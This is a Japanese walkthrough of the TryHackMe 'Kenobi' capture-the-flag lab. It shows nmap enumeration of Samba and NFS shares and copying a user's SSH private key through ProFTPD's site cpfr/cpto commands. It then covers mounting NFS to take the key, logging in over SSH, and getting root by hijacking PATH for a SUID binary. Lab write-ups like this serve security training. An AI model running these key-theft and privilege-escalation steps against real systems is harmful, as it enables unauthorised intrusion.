今回はTryHackMeのKenobiを攻略していきます。

スキャニング

いつもどおりnmapからやっていきます。

結果からFTP, SSH, HTTP, Samba, NFSのポートが空いていることがわかります。

nmap 10.10.94.162

Sambaの調査

まずはSambaから調べていきます。

nmapを使って、Sambaの共有ポイントを確認します。

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.94.162

実行結果からanonymousの共有ポイントがあることがわかりました。

anonymousに接続できそうですので、smbclientコマンドで共有ポイントに接続します。 接続後、どんなファイルがあるか確認してみます。

smbclient //10.10.94.162/anonymous
smb: \\> ls

lsコマンドの結果からlog.txtファイルがあることがわかります。

一度接続を切って、ファイルをすべてダウンロードします。

smbget -R smb://10.10.94.162/anonymous

ダウンロードしたlog.txtファイルの中身を確認していきます。 確認してわかったことは2つです。

/home/kenobi/.ssh/id_rsaファイルが存在する

proftpdはポート21で動いている

これでSambaからの調査は一通り終わりです。

NFSの調査

次にNFSの調査をしてみます。

NFSの共有ポイントをnmapを使って調査します。

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.94.162

/varが公開されていて接続可能なことがわかりました。

FTPの調査

今度はFTPを調査していきます。ftpに接続してみます。

nc 10.10.94.162 21

FTPで使われているソフトウェア名とバージョンが分かりました。

侵入

脆弱性を探すため、exploit-dbで検索します。

どのような脆弱性なのか、またどのように攻撃すればいいのか確認します。

サイト

site cpfrコマンド、site cptoコマンドを使ってファイルをコピーします。

先ほど鍵ファイルがあったのでそれを/varディレクトリ配下にコピーします。

nc 10.10.94.162 21
site cpfr /home/kenobi/.ssh/id_rsa
site cpto /var/tmp/id_rsa

コピーした鍵ファイルを取得するため、NFSを使ってマウントします。

mkdir /mnt/kenobiNFS
mount 10.10.94.162:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

鍵ファイルをコピーします。

また使用できるように権限を変更します。

cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa

コピーした鍵ファイルを使ってSSH接続を行います。

ssh -i id_rsa kenobi@10.10.94.162

接続後にユーザ名の確認を行います。

権限昇格

SUID ビットが設定されているファイルを検索します。

find / -perm -u=s -type f 2>/dev/null

このリストのうち、一般的でないコマンド、ファイルを探します。 そうすると/usr/bin/menuがそれにあたります。

まずはこの見慣れないファイル(/usr/bin/menu)を実行してみます。 そうすると3つの選択肢が表示されます。

このファイル(/usr/bin/menu)はバイナリファイルなので人間が読める文字列を確認するため、stringsコマンドを実行します。 これにより、人間が読める文字列のみを一覧表示できます。

strings /usr/bin/menu

stringsの結果を見ていくと、選択肢のそれぞれの処理は下記コマンドを実行していることがわかります。 またそれぞれがフルパスではないこともわかります。

curl -I localhost
uname -r
ifconfig

menuファイルのステータスを確認

このmenuファイルの所有者はrootであり、またSUIDビットが設定されており、かつ、ファイル内のcurl, uname, ifconfigといったコマンドはフルパスではないため、このコマンドのパスを操作することで別の処理を行わせることができそうです。

かわりとなるcurlファイルを作成します。

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

最後にmenuを実行するとroot権限でシェルが立ち上がり、rootを取得することができました。

/usr/bin/menu

おわり。